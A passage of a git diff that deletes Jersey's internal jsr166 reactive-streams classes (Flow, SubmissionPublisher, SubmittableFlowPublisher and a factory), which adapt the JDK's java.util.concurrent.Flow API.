-         * @param n the increment of demand; a value of {@code
-         * Long.MAX_VALUE} may be considered as effectively unbounded
-         */
-        public void request(long n);
-
-        /**
-         * Causes the Subscriber to (eventually) stop receiving
-         * messages.  Implementation is best-effort -- additional
-         * messages may be received after invoking this method.
-         * A cancelled subscription need not ever receive an
-         * {@code onComplete} or {@code onError} signal.
-         */
-        public void cancel();
-    }
-
-    /**
-     * A component that acts as both a Subscriber and Publisher.
-     *
-     * @param <T> the subscribed item type
-     * @param <R> the published item type
-     */
-    public static interface Processor<T, R> extends Subscriber<T>, Publisher<R> {
-    }
-
-    static final int DEFAULT_BUFFER_SIZE = 256;
-
-    /**
-     * Returns a default value for Publisher or Subscriber buffering,
-     * that may be used in the absence of other constraints.
-     *
-     * @implNote
-     * The current value returned is 256.
-     *
-     * @return the buffer size value
-     */
-    public static int defaultBufferSize() {
-        return DEFAULT_BUFFER_SIZE;
-    }
-
-}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
deleted file mode 100644
index f774e4f..0000000
--- a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T>, java.util.concurrent.Flow.Subscriber<T> {
-    @Override
-    default void onSubscribe(java.util.concurrent.Flow.Subscription subscription) {
-        this.onSubscribe(new Flow.Subscription() {
-            @Override
-            public void request(final long n) {
-                subscription.request(n);
-            }
-
-            @Override
-            public void cancel() {
-                subscription.cancel();
-            }
-        });
-    }
-}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
deleted file mode 100644
index 7a7ce4e..0000000
--- a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
+++ /dev/null
@@ -1,387 +0,0 @@
-/*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Executor;
-import java.util.concurrent.TimeUnit;
-import java.util.function.BiConsumer;
-import java.util.function.BiPredicate;
-import java.util.function.Consumer;
-
-/**
- * A {@link Flow.Publisher} that asynchronously issues submitted
- * (non-null) items to current subscribers until it is closed.  Each
- * current subscriber receives newly submitted items in the same order
- * unless drops or exceptions are encountered.  Using a
- * SubmissionPublisher allows item generators to act as compliant <a
- * href="http://www.reactive-streams.org/"> reactive-streams</a>
- * Publishers relying on drop handling and/or blocking for flow
- * control.
- * <p>
- * <p>A SubmissionPublisher uses the {@link Executor} supplied in its
- * constructor for delivery to subscribers. The best choice of
- * Executor depends on expected usage. If the generator(s) of
- * submitted items run in separate threads, and the number of
- * subscribers can be estimated, consider using a {@link
- * Executors#newFixedThreadPool}. Otherwise consider using the
- * default, normally the {@link ForkJoinPool#commonPool}.
- * <p>
- * <p>Buffering allows producers and consumers to transiently operate
- * at different rates.  Each subscriber uses an independent buffer.
- * Buffers are created upon first use and expanded as needed up to the
- * given maximum. (The enforced capacity may be rounded up to the
- * nearest power of two and/or bounded by the largest value supported
- * by this implementation.)  Invocations of {@link
- * Flow.Subscription#request(long) request} do not directly result in
- * buffer expansion, but risk saturation if unfilled requests exceed
- * the maximum capacity.  The default value of {@link
- * Flow#defaultBufferSize()} may provide a useful starting point for
- * choosing a capacity based on expected rates, resources, and usages.
- * <p>
- * <p>Publication methods support different policies about what to do
- * when buffers are saturated. Method {@link #submit(Object) submit}
- * blocks until resources are available. This is simplest, but least
- * responsive.  The {@code offer} methods may drop items (either
- * immediately or with bounded timeout), but provide an opportunity to
- * interpose a handler and then retry.
- * <p>
- * <p>If any Subscriber method throws an exception, its subscription
- * is cancelled.  If a handler is supplied as a constructor argument,
- * it is invoked before cancellation upon an exception in method
- * {@link Flow.Subscriber#onNext onNext}, but exceptions in methods
- * {@link Flow.Subscriber#onSubscribe onSubscribe},
- * {@link Flow.Subscriber#onError(Throwable) onError} and
- * {@link Flow.Subscriber#onComplete() onComplete} are not recorded or
- * handled before cancellation.  If the supplied Executor throws
- * {@link RejectedExecutionException} (or any other RuntimeException
- * or Error) when attempting to execute a task, or a drop handler
- * throws an exception when processing a dropped item, then the
- * exception is rethrown. In these cases, not all subscribers will
- * have been issued the published item. It is usually good practice to
- * {@link #closeExceptionally closeExceptionally} in these cases.
- * <p>
- * <p>Method {@link #consume(Consumer)} simplifies support for a
- * common case in which the only action of a subscriber is to request
- * and process all items using a supplied function.
- * <p>
- * <p>This class may also serve as a convenient base for subclasses
- * that generate items, and use the methods in this class to publish
- * them.  For example here is a class that periodically publishes the
- * items generated from a supplier. (In practice you might add methods
- * to independently start and stop generation, to share Executors
- * among publishers, and so on, or use a SubmissionPublisher as a
- * component rather than a superclass.)
- * <p>
- * <pre> {@code
- * class PeriodicPublisher<T> extends SubmissionPublisher<T> {
- *   final ScheduledFuture<?> periodicTask;
- *   final ScheduledExecutorService scheduler;
- *   PeriodicPublisher(Executor executor, int maxBufferCapacity,
- *                     Supplier<? extends T> supplier,
- *                     long period, TimeUnit unit) {
- *     super(executor, maxBufferCapacity);
- *     scheduler = new ScheduledThreadPoolExecutor(1);
- *     periodicTask = scheduler.scheduleAtFixedRate(
- *       () -> submit(supplier.get()), 0, period, unit);
- *   }
- *   public void close() {
- *     periodicTask.cancel(false);
- *     scheduler.shutdown();
- *     super.close();
- *   }
- * }}</pre>
- * <p>
- * <p>Here is an example of a {@link Flow.Processor} implementation.
- * It uses single-step requests to its publisher for simplicity of
- * illustration. A more adaptive version could monitor flow using the
- * lag estimate returned from {@code submit}, along with other utility
- * methods.
- * <p>
- * <pre> {@code
- * class TransformProcessor<S,T> extends SubmissionPublisher<T>
- *   implements Flow.Processor<S,T> {
- *   final Function<? super S, ? extends T> function;
- *   Flow.Subscription subscription;
- *   TransformProcessor(Executor executor, int maxBufferCapacity,
- *                      Function<? super S, ? extends T> function) {
- *     super(executor, maxBufferCapacity);
- *     this.function = function;
- *   }
- *   public void onSubscribe(Flow.Subscription subscription) {
- *     (this.subscription = subscription).request(1);
- *   }
- *   public void onNext(S item) {
- *     subscription.request(1);
- *     submit(function.apply(item));
- *   }
- *   public void onError(Throwable ex) { closeExceptionally(ex); }
- *   public void onComplete() { close(); }
- * }}</pre>
- *
- * @param <T> the published item type
- * @author Doug Lea
- * @since 9
- */
-public class SubmissionPublisher<T> implements SubmittableFlowPublisher<T> {
-
-    private final java.util.concurrent.SubmissionPublisher<T> publisher;
-
-    /**
-     * Creates a new SubmissionPublisher using the given Executor for
-     * async delivery to subscribers, with the given maximum buffer size
-     * for each subscriber, and, if non-null, the given handler invoked
-     * when any Subscriber throws an exception in method {@link
-     * Flow.Subscriber#onNext(Object) onNext}.
-     *
-     * @param executor          the executor to use for async delivery,
-     *                          supporting creation of at least one independent thread
-     * @param maxBufferCapacity the maximum capacity for each
-     *                          subscriber's buffer (the enforced capacity may be rounded up to
-     *                          the nearest power of two and/or bounded by the largest value
-     *                          supported by this implementation; method {@link #getMaxBufferCapacity}
-     *                          returns the actual value)
-     * @param handler           if non-null, procedure to invoke upon exception
-   *                          thrown in method {@code onNext}
-     * @throws NullPointerException     if executor is null
-     * @throws IllegalArgumentException if maxBufferCapacity not
-     *                                  positive
-     */
-    public SubmissionPublisher(Executor executor, int maxBufferCapacity,
-                               BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> handler) {
-        publisher = new java.util.concurrent.SubmissionPublisher<T>(executor, maxBufferCapacity, convertConsumer(handler));
-    }
-
-    /**
-     * Creates a new SubmissionPublisher using the given Executor for
-     * async delivery to subscribers, with the given maximum buffer size
-     * for each subscriber, and no handler for Subscriber exceptions in
-     * method {@link Flow.Subscriber#onNext(Object) onNext}.
-     *
-     * @param executor          the executor to use for async delivery,
-     *                          supporting creation of at least one independent thread
-     * @param maxBufferCapacity the maximum capacity for each
-     *                          subscriber's buffer (the enforced capacity may be rounded up to
-     *                          the nearest power of two and/or bounded by the largest value
-     *                          supported by this implementation; method {@link #getMaxBufferCapacity}
-     *                          returns the actual value)
-     * @throws NullPointerException     if executor is null
-     * @throws IllegalArgumentException if maxBufferCapacity not
-     *                                  positive
-     */
-    public SubmissionPublisher(Executor executor, int maxBufferCapacity) {
-        publisher = new java.util.concurrent.SubmissionPublisher<T>(executor, maxBufferCapacity);
-    }
-
-    /**
-     * Creates a new SubmissionPublisher using the {@link
-     * ForkJoinPool#commonPool()} for async delivery to subscribers
-     * (unless it does not support a parallelism level of at least two,
-     * in which case, a new Thread is created to run each task), with
-     * maximum buffer capacity of {@link Flow#defaultBufferSize}, and no
-     * handler for Subscriber exceptions in method {@link
-     * Flow.Subscriber#onNext(Object) onNext}.
-     */
-    public SubmissionPublisher() {
-        publisher = new java.util.concurrent.SubmissionPublisher<T>();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public CompletableFuture<Void> consume(Consumer<? super T> consumer) {
-        return publisher.consume(consumer);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void close() {
-        publisher.close();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void closeExceptionally(Throwable error) {
-        publisher.closeExceptionally(error);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public long estimateMinimumDemand() {
-        return publisher.estimateMinimumDemand();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int estimateMaximumLag() {
-        return publisher.estimateMaximumLag();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public Throwable getClosedException() {
-        return publisher.getClosedException();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int getMaxBufferCapacity() {
-        return publisher.getMaxBufferCapacity();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int offer(T item, long timeout, TimeUnit unit, BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop) {
-        return publisher.offer(item, timeout, unit, convertPredicate(onDrop));
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    public int offer(T item, BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop) {
-        return publisher.offer(item, convertPredicate(onDrop));
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int submit(T item) {
-        return publisher.submit(item);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void subscribe(Flow.Subscriber<? super T> subscriber) {
-        publisher.subscribe(convertSubscriber(subscriber));
-    }
-
-    private static <T> BiConsumer<? super java.util.concurrent.Flow.Subscriber<? super T>, ? super Throwable> convertConsumer(
-            BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> consumer) {
-        return new BiConsumer<java.util.concurrent.Flow.Subscriber<? super T>, Throwable>() {
-            @Override
-            public void accept(java.util.concurrent.Flow.Subscriber<? super T> subscriber, Throwable throwable) {
-                consumer.accept(convertSubscriber(subscriber), throwable);
-            }
-        };
-    }
-
-    private static <T> BiPredicate<java.util.concurrent.Flow.Subscriber<? super T>, ? super T> convertPredicate(
-            BiPredicate<Flow.Subscriber<? super T>, ? super T> predicate) {
-        return new BiPredicate<java.util.concurrent.Flow.Subscriber<? super T>, T>() {
-            @Override
-            public boolean test(java.util.concurrent.Flow.Subscriber<? super T> subscriber, T t) {
-                return predicate.test(convertSubscriber(subscriber), t);
-            }
-        };
-    }
-
-    private static <T> Flow.Subscriber<? super T> convertSubscriber(java.util.concurrent.Flow.Subscriber<? super T> subscriber) {
-        return new Flow.Subscriber<T>() {
-
-            @Override
-            public void onSubscribe(Flow.Subscription subscription) {
-                subscriber.onSubscribe(convertSubscription(subscription));
-            }
-
-            @Override
-            public void onNext(T item) {
-                subscriber.onNext(item);
-            }
-
-            @Override
-            public void onError(Throwable throwable) {
-                subscriber.onError(throwable);
-            }
-
-            @Override
-            public void onComplete() {
-                subscriber.onComplete();
-            }
-        };
-    }
-
-    private static <T> java.util.concurrent.Flow.Subscriber<T> convertSubscriber(Flow.Subscriber<T> subscriber) {
-        return new java.util.concurrent.Flow.Subscriber<T>() {
-
-            @Override
-            public void onSubscribe(java.util.concurrent.Flow.Subscription subscription) {
-                subscriber.onSubscribe(convertSubscription(subscription));
-            }
-
-            @Override
-            public void onNext(T item) {
-                subscriber.onNext(item);
-            }
-
-            @Override
-            public void onError(Throwable throwable) {
-                subscriber.onError(throwable);
-            }
-
-            @Override
-            public void onComplete() {
-                subscriber.onComplete();
-            }
-        };
-    }
-
-    private static java.util.concurrent.Flow.Subscription convertSubscription(Flow.Subscription subscription) {
-        return new java.util.concurrent.Flow.Subscription() {
-            @Override
-            public void request(long n) {
-                subscription.request(n);
-            }
-
-            @Override
-            public void cancel() {
-                subscription.cancel();
-            }
-        };
-    }
-
-    private static Flow.Subscription convertSubscription(java.util.concurrent.Flow.Subscription subscription) {
-        return new Flow.Subscription() {
-            @Override
-            public void request(long n) {
-                subscription.request(n);
-            }
-
-            @Override
-            public void cancel() {
-                subscription.cancel();
-            }
-        };
-    }
-}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
deleted file mode 100644
index ecdc41a..0000000
--- a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-import java.util.concurrent.Executor;
-import java.util.concurrent.ForkJoinPool;
-import java.util.function.BiConsumer;
-
-/**
- * Factory creating JDK8 compatible SubmissionPublisher (Jdk8SubmissionPublisher) or JDK 9+ SubmissionPublisher
- */
-public class SubmissionPublisherFactory {
-
-    /**
-     * Creates a new SubmittableFlowPublisher using the {@link
-     * ForkJoinPool#commonPool()} for async delivery to subscribers
-     * (unless it does not support a parallelism level of at least two,
-     * in which case, a new Thread is created to run each task), with
-     * maximum buffer capacity of {@link Flow#defaultBufferSize}, and no
-     * handler for Subscriber exceptions in method {@link
-     * Flow.Subscriber#onNext(Object) onNext}.
-     */
-    public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher() {
-        return new SubmissionPublisher<T>();
-    }
-
-    /**
-     * Creates a new Jdk9SubmissionPublisher using the given Executor for
-     * async delivery to subscribers, with the given maximum buffer size
-     * for each subscriber, and no handler for Subscriber exceptions in
-     * method {@link Flow.Subscriber#onNext(Object) onNext}.
-     *
-     * @param executor          the executor to use for async delivery,
-     *                          supporting creation of at least one independent thread
-     * @param maxBufferCapacity the maximum capacity for each
-     *                          subscriber's buffer (the enforced capacity may be rounded up to
-     *                          the nearest power of two and/or bounded by the largest value
-     *                          supported by this implementation; method {@link #getMaxBufferCapacity}
-     *                          returns the actual value)
-     * @throws NullPointerException     if executor is null
-     * @throws IllegalArgumentException if maxBufferCapacity not
-     *                                  positive
-     */
-    public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher(Executor executor,
-                                                                            int maxBufferCapacity) {
-        return new SubmissionPublisher<T>(executor, maxBufferCapacity);
-    }
-
-    /**
-     * Creates a new SubmittableFlowPublisher using the given Executor for
-     * async delivery to subscribers, with the given maximum buffer size
-     * for each subscriber, and, if non-null, the given handler invoked
-     * when any Subscriber throws an exception in method {@link
-     * Flow.Subscriber#onNext(Object) onNext}.
-     *
-     * @param executor          the executor to use for async delivery,
-     *                          supporting creation of at least one independent thread
-     * @param maxBufferCapacity the maximum capacity for each
-     *                          subscriber's buffer (the enforced capacity may be rounded up to
-     *                          the nearest power of two and/or bounded by the largest value
-     *                          supported by this implementation; method {@link #getMaxBufferCapacity}
-     *                          returns the actual value)
-     * @param handler           if non-null, procedure to invoke upon exception
-     *                          thrown in method {@code onNext}
-     * @throws NullPointerException     if executor is null
-     * @throws IllegalArgumentException if maxBufferCapacity not
-     *                                  positive
-     */
-    public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher(Executor executor,
-                                                                            int maxBufferCapacity,
-                                                                            BiConsumer<? super Flow.Subscriber<? super T>,
-                                                                                    ? super Throwable> handler) {
-        return new SubmissionPublisher<T>(executor, maxBufferCapacity, handler);
-    }
-
-}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java
deleted file mode 100644
index 0978463..0000000
--- a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java
+++ /dev/null
@@ -1,292 +0,0 @@
-/*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.TimeUnit;
-import java.util.function.BiPredicate;
-import java.util.function.Consumer;
-import java.util.concurrent.Executor;
-import java.util.concurrent.Executors;
-import java.util.concurrent.ForkJoinPool;
-import java.util.concurrent.RejectedExecutionException;
-
-
-/**
- * A {@link Flow.Publisher} that asynchronously issues submitted
- * (non-null) items to current subscribers until it is closed.  Each
- * current subscriber receives newly submitted items in the same order
- * unless drops or exceptions are encountered.  Using a
- * SubmittableFlowPublisher allows item generators to act as compliant <a
- * href="http://www.reactive-streams.org/"> reactive-streams</a>
- * Publishers relying on drop handling and/or blocking for flow
- * control.
- * <p>
- * <p>An implementation of SubmittableFlowPublisher uses the {@link Executor} supplied in its
- * constructor for delivery to subscribers. The best choice of
- * Executor depends on expected usage. If the generator(s) of
- * submitted items run in separate threads, and the number of
- * subscribers can be estimated, consider using a {@link
- * Executors#newFixedThreadPool}. Otherwise consider using the
- * default, normally the {@link ForkJoinPool#commonPool}.
- * <p>
- * <p>Buffering allows producers and consumers to transiently operate
- * at different rates.  Each subscriber uses an independent buffer.
- * Buffers are created upon first use and expanded as needed up to the
- * given maximum. (The enforced capacity may be rounded up to the
- * nearest power of two and/or bounded by the largest value supported
- * by this implementation.)  Invocations of {@link
- * Flow.Subscription#request(long) request} do not directly result in
- * buffer expansion, but risk saturation if unfilled requests exceed
- * the maximum capacity.  The default value of {@link
- * Flow#defaultBufferSize()} may provide a useful starting point for
- * choosing a capacity based on expected rates, resources, and usages.
- * <p>
- * <p>Publication methods support different policies about what to do
- * when buffers are saturated. Method {@link #submit(Object) submit}
- * blocks until resources are available. This is simplest, but least
- * responsive.  The {@code offer} methods may drop items (either
- * immediately or with bounded timeout), but provide an opportunity to
- * interpose a handler and then retry.
- * <p>
- * <p>If any Subscriber method throws an exception, its subscription
- * is cancelled.  If a handler is supplied as a constructor argument,
- * it is invoked before cancellation upon an exception in method
- * {@link Flow.Subscriber#onNext onNext}, but exceptions in methods
- * {@link Flow.Subscriber#onSubscribe onSubscribe},
- * {@link Flow.Subscriber#onError(Throwable) onError} and
- * {@link Flow.Subscriber#onComplete() onComplete} are not recorded or
- * handled before cancellation.  If the supplied Executor throws
- * {@link RejectedExecutionException} (or any other RuntimeException
- * or Error) when attempting to execute a task, or a drop handler
- * throws an exception when processing a dropped item, then the
- * exception is rethrown. In these cases, not all subscribers will
- * have been issued the published item. It is usually good practice to
- * {@link #closeExceptionally closeExceptionally} in these cases.
- * <p>
- * <p>Method {@link #consume(Consumer)} simplifies support for a
- * common case in which the only action of a subscriber is to request
- * and process all items using a supplied function.
- *
- * @param <T> the published item type
- */
-public interface SubmittableFlowPublisher<T> extends Flow.Publisher<T>, AutoCloseable {
-
-    /**
-     * Processes all published items using the given Consumer function.
-     * Returns a CompletableFuture that is completed normally when this
-     * publisher signals {@link Flow.Subscriber#onComplete()
-     * onComplete}, or completed exceptionally upon any error, or an
-     * exception is thrown by the Consumer, or the returned
-     * CompletableFuture is cancelled, in which case no further items
-     * are processed.
-     *
-     * @param consumer the function applied to each onNext item
-     * @return a CompletableFuture that is completed normally
-     * when the publisher signals onComplete, and exceptionally
-     * upon any error or cancellation
-     * @throws NullPointerException if consumer is null
-     */
-    CompletableFuture<Void> consume(final Consumer<? super T> consumer);
-
-    /**
-     * Unless already closed, issues {@link
-     * Flow.Subscriber#onComplete() onComplete} signals to current
-     * subscribers, and disallows subsequent attempts to publish.
-     * Upon return, this method does <em>NOT</em> guarantee that all
-     * subscribers have yet completed.
-     */
-    void close();
-
-    /**
-     * Unless already closed, issues {@link
-     * Flow.Subscriber#onError(Throwable) onError} signals to current
-     * subscribers with the given error, and disallows subsequent
-     * attempts to publish.  Future subscribers also receive the given
-     * error. Upon return, this method does <em>NOT</em> guarantee
-     * that all subscribers have yet completed.
-     *
-     * @param error the {@code onError} argument sent to subscribers
-     * @throws NullPointerException if error is null
-     */
-    void closeExceptionally(final Throwable error);
-
-    /**
-     * Returns an estimate of the minimum number of items requested
-     * (via {@link Flow.Subscription#request(long) request}) but not
-     * yet produced, among all current subscribers.
-     *
-     * @return the estimate, or zero if no subscribers
-     */
-    long estimateMinimumDemand();
-
-    /**
-     * Returns an estimate of the maximum number of items produced but
-     * not yet consumed among all current subscribers.
-     *
-     * @return the estimate
-     */
-    int estimateMaximumLag();
-
-    /**
-     * Returns the exception associated with {@link
-     * #closeExceptionally(Throwable) closeExceptionally}, or null if
-     * not closed or if closed normally.
-     *
-     * @return the exception, or null if none
-     */
-    Throwable getClosedException();
-
-    /**
-     * Returns the maximum per-subscriber buffer capacity.
-     *
-     * @return the maximum per-subscriber buffer capacity
-     */
-    int getMaxBufferCapacity();
-
-    /**
-     * Publishes the given item, if possible, to each current subscriber
-     * by asynchronously invoking its {@link
-     * Flow.Subscriber#onNext(Object) onNext} method, blocking while
-     * resources for any subscription are unavailable, up to the
-     * specified timeout or until the caller thread is interrupted, at
-     * which point the given handler (if non-null) is invoked, and if it
-     * returns true, retried once. (The drop handler may distinguish
-     * timeouts from interrupts by checking whether the current thread
-     * is interrupted.)  Other calls to methods in this class by other
-     * threads are blocked while the handler is invoked.  Unless
-     * recovery is assured, options are usually limited to logging the
-     * error and/or issuing an {@link Flow.Subscriber#onError(Throwable)
-     * onError} signal to the subscriber.
-     * <p>
-     * <p>This method returns a status indicator: If negative, it
-     * represents the (negative) number of drops (failed attempts to
-     * issue the item to a subscriber). Otherwise it is an estimate of
-     * the maximum lag (number of items submitted but not yet
-     * consumed) among all current subscribers. This value is at least
-     * one (accounting for this submitted item) if there are any
-     * subscribers, else zero.
-     * <p>
-     * <p>If the Executor for this publisher throws a
-     * RejectedExecutionException (or any other RuntimeException or
-     * Error) when attempting to asynchronously notify subscribers, or
-     * the drop handler throws an exception when processing a dropped
-     * item, then this exception is rethrown.
-     *
-     * @param item    the (non-null) item to publish
-     * @param timeout how long to wait for resources for any subscriber
-     *                before giving up, in units of {@code unit}
-     * @param unit    a {@code TimeUnit} determining how to interpret the
-     *                {@code timeout} parameter
-     * @param onDrop  if non-null, the handler invoked upon a drop to a
-     *                subscriber, with arguments of the subscriber and item; if it
-     *                returns true, an offer is re-attempted (once)
-     * @return if negative, the (negative) number of drops; otherwise
-     * an estimate of maximum lag
-     * @throws IllegalStateException      if closed
-     * @throws NullPointerException       if item is null
-     * @throws RejectedExecutionException if thrown by Executor
-     */
-    int offer(T item, long timeout, TimeUnit unit, BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop);
-
-    /**
-     * Publishes the given item, if possible, to each current subscriber
-     * by asynchronously invoking its {@link
-     * Flow.Subscriber#onNext(Object) onNext} method. The item may be
-     * dropped by one or more subscribers if resource limits are
-     * exceeded, in which case the given handler (if non-null) is
-     * invoked, and if it returns true, retried once.  Other calls to
-     * methods in this class by other threads are blocked while the
-     * handler is invoked.  Unless recovery is assured, options are
-     * usually limited to logging the error and/or issuing an {@link
-     * Flow.Subscriber#onError(Throwable) onError} signal to the
-     * subscriber.
-     * <p>
-     * <p>This method returns a status indicator: If negative, it
-     * represents the (negative) number of drops (failed attempts to
-     * issue the item to a subscriber). Otherwise it is an estimate of
-     * the maximum lag (number of items submitted but not yet
-     * consumed) among all current subscribers. This value is at least
-     * one (accounting for this submitted item) if there are any
-     * subscribers, else zero.
-     * <p>
-     * <p>If the Executor for this publisher throws a
-     * RejectedExecutionException (or any other RuntimeException or
-     * Error) when attempting to asynchronously notify subscribers, or
-     * the drop handler throws an exception when processing a dropped
-     * item, then this exception is rethrown.
-     *
-     * @param item   the (non-null) item to publish
-     * @param onDrop if non-null, the handler invoked upon a drop to a
-     *               subscriber, with arguments of the subscriber and item; if it
-     *               returns true, an offer is re-attempted (once)
-     * @return if negative, the (negative) number of drops; otherwise
-     * an estimate of maximum lag
-     * @throws IllegalStateException      if closed
-     * @throws NullPointerException       if item is null
-     * @throws RejectedExecutionException if thrown by Executor
-     */
-    int offer(T item, BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop);
-
-    /**
-     * Publishes the given item to each current subscriber by
-     * asynchronously invoking its {@link Flow.Subscriber#onNext(Object)
-     * onNext} method, blocking uninterruptibly while resources for any
-     * subscriber are unavailable. This method returns an estimate of
-     * the maximum lag (number of items submitted but not yet consumed)
-     * among all current subscribers. This value is at least one
-     * (accounting for this submitted item) if there are any
-     * subscribers, else zero.
-     * <p>
-     * <p>If the Executor for this publisher throws a
-     * RejectedExecutionException (or any other RuntimeException or
-     * Error) when attempting to asynchronously notify subscribers,
-     * then this exception is rethrown, in which case not all
-     * subscribers will have been issued this item.
-     *
-     * @param item the (non-null) item to publish
-     * @return the estimated maximum lag among subscribers
-     * @throws IllegalStateException      if closed
-     * @throws NullPointerException       if item is null
-     * @throws RejectedExecutionException if thrown by Executor
-     */
-    int submit(T item);
-
-    /**
-     * Adds the given Subscriber unless already subscribed.  If already
-     * subscribed, the Subscriber's {@link
-     * Flow.Subscriber#onError(Throwable) onError} method is invoked on
-     * the existing subscription with an {@link IllegalStateException}.
-     * Otherwise, upon success, the Subscriber's {@link
-     * Flow.Subscriber#onSubscribe onSubscribe} method is invoked
-     * asynchronously with a new {@link Flow.Subscription}.  If {@link
-     * Flow.Subscriber#onSubscribe onSubscribe} throws an exception, the
-     * subscription is cancelled. Otherwise, if this SubmittableFlowPublisher
-     * was closed exceptionally, then the subscriber's {@link
-     * Flow.Subscriber#onError onError} method is invoked with the
-     * corresponding exception, or if closed without exception, the
-     * subscriber's {@link Flow.Subscriber#onComplete() onComplete}
-     * method is invoked.  Subscribers may enable receiving items by
-     * invoking the {@link Flow.Subscription#request(long) request}
-     * method of the new Subscription, and may unsubscribe by invoking
-     * its {@link Flow.Subscription#cancel() cancel} method.
-     *
-     * @param subscriber the subscriber
-     * @throws NullPointerException if subscriber is null
-     */
-     void subscribe(Flow.Subscriber<? super T> subscriber);
-}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/package-info.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/package-info.java
deleted file mode 100644
index 1600d33..0000000
--- a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/package-info.java
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
